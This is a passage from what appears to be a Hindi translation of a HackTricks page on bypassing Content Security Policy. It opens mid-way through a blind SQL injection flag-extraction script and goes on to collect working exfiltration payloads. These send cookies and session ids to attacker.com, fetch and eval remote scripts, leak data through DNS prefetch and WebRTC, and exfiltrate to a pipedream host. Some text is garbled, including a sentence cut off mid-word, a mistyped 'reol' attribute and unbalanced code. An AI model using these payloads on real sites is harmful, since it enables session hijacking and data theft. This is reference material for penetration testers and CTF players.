x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}
function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}
run();
</script>
बुकमार्कलेट के माध्यम से
इस हमले में कुछ सामाजिक इंजीनियरिंग शामिल होगी जहां हमलावर उपयोगकर्ता को यह धोखा देता है कि वह ब्राउज़र के बुकमार्कलेट पर एक लिंक को खींचकर छोड़े। यह बुकमार्कलेट हानिकारक जावास्क्रिप्ट को शामिल करेगा जो जब खींचा और छोड़ा जाए या क्लिक किया जाए, तो वर्तमान वेब विंडो के संदर्भ में क्रियान्वित होगा, CSP को छलकर संवेदनशील जानकारी जैसे कुकीज़ या टोकन चुराने की अनुमति देगा।
अधिक जानकारी के लिए यहाँ मौजूदा रिपोर्ट देखें.
CSP को प्रतिबंधित करके CSP छलकरना
इस CTF व्रिटअप में, CSP को छलकरने के लिए एक अनुमत आईफ्रेम में एक और सख्त CSP डालकर बाहरी जेएस फ़ाइल लोड करने की अनुमति नहीं दी गई थी, जिसके बाद, प्रोटोटाइप पोल्लूशन या डोम क्लॉबरिंग के माध्यम से एक विभिन्न स्क्रिप्ट का दुरुपयोग करने की अनुमति दी गई थी जिससे किसी भी विचित्र स्क्रिप्ट को लोड करने की अनुमति दी गई थी।
आप एक आईफ्रेम का CSP प्रतिबंधित कर सकते हैं**csp
** विशेषता के साथ:
{% code overflow="wrap" %}
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
{% endcode %}
इस सीटीएफ व्राइटअप में, HTML इन्जेक्शन के माध्यम से सीएसपी को और अधिक प्रतिबंधित किया जा सकता था ताकि एक स्क्रिप्ट जो CSTI को रोक रहा था, वह निष्क्रिय हो गया और इसलिए सुरक्षा दोष शोषणीय बन गया।
सीएसपी को और अधिक प्रतिबंधक बनाया जा सकता है HTML मेटा टैग्स का उपयोग करके और इनलाइन स्क्रिप्ट्स को निष्क्रिय किया जा सकता है उनके नॉन्स को अनुमति देने के लिए और विशेष इनलाइन स्क्रिप्ट को एनेबल करने के लिए शा के माध्यम से:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
JS exfiltration with Content-Security-Policy-Report-Only
यदि आप सर्वर को हेडर Content-Security-Policy-Report-Only
के साथ प्रतिक्रिया करने के लिए प्रबंधित कर सकते हैं जिसका नियंत्रण आपके द्वारा है (शायद CRLF के कारण), तो आप इसे अपने सर्वर की ओर देखा सकते हैं और यदि आप <script>
के साथ उस JS सामग्री को लपेटते हैं जिसे आप निकालना चाहते हैं और क्योंकि संभावना है कि unsafe-inline
को CSP द्वारा अनुमति नहीं है, तो यह एक CSP त्रुटि को ट्रिगर करेगा और स्क्रिप्ट का हिस्सा (संवेदनशील जानकारी वाला) Content-Security-Policy-Report-Only
से सर्वर को भेज दिया जाएगा।
उदाहरण के लिए इस CTF व्रिटअप की जांच करें.
CVE-2020-6519
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
CSP और आईफ्रेम के साथ जानकारी लीक करना
- एक
iframe
बनाया जाता है जो एक URL की ओर पोइंट करता है (हम इसेhttps://example.redirect.com
नाम देते हैं) जो CSP द्वारा अनुमति दी गई है। - इस URL फिर एक गुप्त URL (उदाहरण के लिए,
https://usersecret.example2.com
) पर रीडायरेक्ट करता है जो CSP द्वारा अनुमति नहीं है। securitypolicyviolation
इवेंट को सुनकर,blockedURI
प्रॉपर्टी को कैप्चर किया जा सकता है। यह प्रॉपर्टी ब्लॉक हुए URI के डोमेन को प्रकट करती है, जिससे प्रारंभिक URL ने रीडायरेक्ट किया।
यह दिलचस्प है कि Chrome और Firefox जैसे ब्राउज़र्स में आईफ्रेम को CSP के संबंध में अलग-अलग व्यवहार होता है, जिससे अपरिभाषित व्यवहार के कारण संवेदनशील जानकारी का लीक हो सकता है।
एक और तकनीक में CSP का उपयोग करके गुप्त सबडोमेन का अंकांकन करना शामिल है। यह विधि एक बाइनरी खोज एल्गोरिदम पर निर्भर करती है और CSP को समायोजित करने के लिए विशिष्ट डोमेन शामिल करने। उदाहरण के लिए, यदि गुप्त सबडोमेन अज्ञात वर्णों से बना है, तो आप CSP निर्देशिका को संशोधित करके इन सबडोमेन को ब्लॉक या अनुमति देने के लिए विभिन्न सबडोमेन का परीक्षण कर सकते हैं। यहां एक स्निपेट दिखाया गया है जो इस विधि को सुविधाजनक बनाने के लिए CSP कैसे सेट किया जा सकता है:
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
CSP द्वारा अनुमति दी या अवरुद्ध की गई अनुरोधों का मॉनिटरिंग करके, व्यक्ति गोपनीय सबडोमेन में संभावित वर्णों की संख्या को कम कर सकता है, अंततः पूर्ण URL का पता लगा सकता है।
दोनों तकनीकों में CSP के कार्यान्वयन और ब्राउज़र में व्यवहार का शोध किया जाता है, जो दिखाई देने वाली सुरक्षित नीतियों को अनजाने में संवेदनशील जानकारी छिपा सकते हैं।
यहां से ट्रिक देखें यहां।
HackenProof Discord में शामिल हों यहां और अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
हैकिंग इंसाइट्स
उस सामग्री के साथ जुड़ें जो हैकिंग के रोमांच और चुनौतियों में डूबती है
रियल-टाइम हैक न्यूज़
रियल-टाइम समाचार और अंदरूनी दुनिया के माध्यम से हैकिंग विश्व के साथ अद्यतन रहें
नवीनतम घोषणाएं
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफ़ॉर्म अपडेट के साथ सूचित रहें
हमारे साथ जुड़ें Discord और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
CSP को छलने के लिए असुरक्षित प्रौद्योगिकियाँ
PHP प्रतिक्रिया बफर ओवरलोड
PHP को डिफ़ॉल्ट रूप से 4096 बाइट तक की प्रतिक्रिया को बफर करने के लिए जाना जाता है। इसलिए, यदि PHP एक चेतावनी दिखा रहा है, तो पर्याप्त डेटा प्रदान करके चेतावनियों के अंदर, उत्तर भेज दिया जाएगा पहले CSP हेडर से पहले, जिससे हेडर को नजरअंदाज किया जाएगा।
फिर, तकनीक बुनियादी रूप से उत्तर बफर को चेतावनियों से भरने में है ताकि CSP हेडर न भेजा जाए।
विचार इस व्रिटअप से।
त्रुटि पृष्ठ पुनः लिखें
इस व्रिटअप से लगता है कि एक सीएसपी सुरक्षा को छलने के लिए एक त्रुटि पृष्ठ (संभावित रूप से बिना सीएसपी के) लोड करके और उसकी सामग्री को पुनः लिखकर संरक्षित किया जा सकता था।
a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);
कुछ + 'self' + वर्डप्रेस
कुछ एक तकनीक है जो एक पृष्ठ के एंडपॉइंट में XSS (या अत्यंत सीमित XSS) का दुरुपयोग करती है उसी मूल स्रोत के अन्य एंडपॉइंट का दुरुपयोग करने के लिए. यह एक हमलावर पृष्ठ से विकल्पित एंडपॉइंट को लोड करके किया जाता है और फिर हमलावर पृष्ठ को उसी मूल स्रोत में वास्तविक एंडपॉइंट पर ताजगी दी जाती है जिसे आप दुरुपयोग करना चाहते हैं. इस तरह विकल्पित एंडपॉइंट वास्तविक एंडपॉइंट के DOM तक पहुंचने के लिए पेलोड में opener
ऑब्ज
var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;
मेटा टैग
आप एक मेटा टैग इंजेक्ट करके रीडायरेक्ट कर सकते हैं (यह केवल एक रीडायरेक्ट है, यह कंटेंट नहीं लीक होगा)
<meta http-equiv="refresh" content="1; http://attacker.com">
DNS Prefetch
पेज को तेजी से लोड करने के लिए, ब्राउज़र होस्टनेम को आईपी पते में पूर्व-संकेतित करने जा रहा है और बाद में उन्हें कैश करेगा।
आप एक ब्राउज़र को होस्टनेम को पूर्व-संकेतित करने के लिए इस तरह से निर्देशित कर सकते हैं: <link reol="dns-prefetch" href="something.com">
आप इस व्यवहार का दुरुपयोग कर सकते हैं ताकि DNS अनुरोधों के माध्यम से संवेदनशील जानकारी को बाहर ले जाएं:
var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";
एक और तरीका:
Content-Security-Policy (CSP) Bypass के लिए एक और तरीका
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
इस से बचने के लिए सर्वर HTTP हेडर भेज सकता है:
X-DNS-Prefetch-Control: off
{% hint style="info" %} शायद, यह तकनीक हेडलेस ब्राउज़र्स (बॉट्स) में काम नहीं करती है। {% endhint %}
WebRTC
कई पेजों पर आप पढ़ सकते हैं कि WebRTC connect-src
नीति की जांच नहीं करता है।
वास्तव में आप एक DNS अनुरोध का उपयोग करके जानकारी लीक कर सकते हैं। इस कोड की जाँच करें:
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
Content Security Policy (CSP) Bypass
CSP Bypass Techniques
Inline Script Bypass
Inline scripts can be executed by using the following techniques:
- Unsafe Inline:
<script nonce="random-nonce">alert(1)</script>
- Unsafe Eval:
<script>eval('alert(1)')</script>
- Unsafe Function:
<script>Function('alert(1)')()</script>
External Script Bypass
External scripts can be loaded and executed using the following techniques:
- Unsafe Inline:
<script src="data:application/javascript;base64,YWxlcnQoMTAp"></script>
- Unsafe Eval:
<script>fetch('https://attacker.com/malicious.js').then(r=>r.text()).then(eval)</script>
- Unsafe Function:
<script>fetch('https://attacker.com/malicious.js').then(r=>r.text()).then(Function)</script>
Style Bypass
Styles can be applied using the following techniques:
- Unsafe Inline:
<div style="color: expression(alert(1))">XSS</div>
- Unsafe External:
<link rel="stylesheet" href="data:text/css;base64,YWxlcnQoMTAp">
Other Bypass Techniques
- Meta Tag Bypass:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
- Object Tag Bypass:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
- IFrame Bypass:
<iframe src="javascript:alert(1)"></iframe>
Conclusion
By understanding these CSP bypass techniques, you can effectively test the security of web applications and help developers mitigate potential security risks.
var pc = new RTCPeerConnection({
"iceServers":[
{"urls":[
"turn:74.125.140.127:19305?transport=udp"
],"username":"_all_your_data_belongs_to_us",
"credential":"."
}]
});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
ऑनलाइन CSP नीतियों की जांच
स्वचालित रूप से CSP बनाना
https://csper.io/docs/generating-content-security-policy
संदर्भ
- https://hackdefense.com/publications/csp-the-how-and-why-of-a-content-security-policy/
- https://lcamtuf.coredump.cx/postxss/
- https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d
- https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme
- https://www.youtube.com/watch?v=MCyPuOWs3dg
- https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/
- https://lab.wallarm.com/how-to-trick-csp-in-letting-you-run-whatever-you-want-73cb5ff428aa/
HackenProof Discord सर्वर में शामिल होकर अनुभवी हैकर्स और बग बाउंटी हंटर्स के साथ संवाद करें!
हैकिंग इंसाइट्स
हैकिंग के रोमांच और चुनौतियों में डूबने वाली सामग्री के साथ जुड़ें
रियल-टाइम हैक न्यूज़
रियल-टाइम समाचार और अंतर्दृष्टि के माध्यम से हैकिंग दुनिया में अप-टू-डेट रहें
नवीनतम घोषणाएं
नवीनतम बग बाउंटी लॉन्च और महत्वपूर्ण प्लेटफॉर्म अपडेट के साथ सूचित रहें
हमारे साथ जुड़ें Discord और आज ही शीर्ष हैकर्स के साथ सहयोग करना शुरू करें!
जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!
HackTricks का समर्थन करने के अन्य तरीके:
- यदि आप अपनी कंपनी की विज्ञापनित करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो सब्सक्रिप्शन प्लान्स की जांच करें!
- आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
- हमारे विशेष NFTs कलेक्शन, The PEASS Family की खोज करें
- शामिल हों 💬 Discord समूह या टेलीग्राम समूह या हमें ट्विटर 🐦 @carlospolopm** पर फॉलो** करें।
- हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके HackTricks और HackTricks Cloud github रेपो में।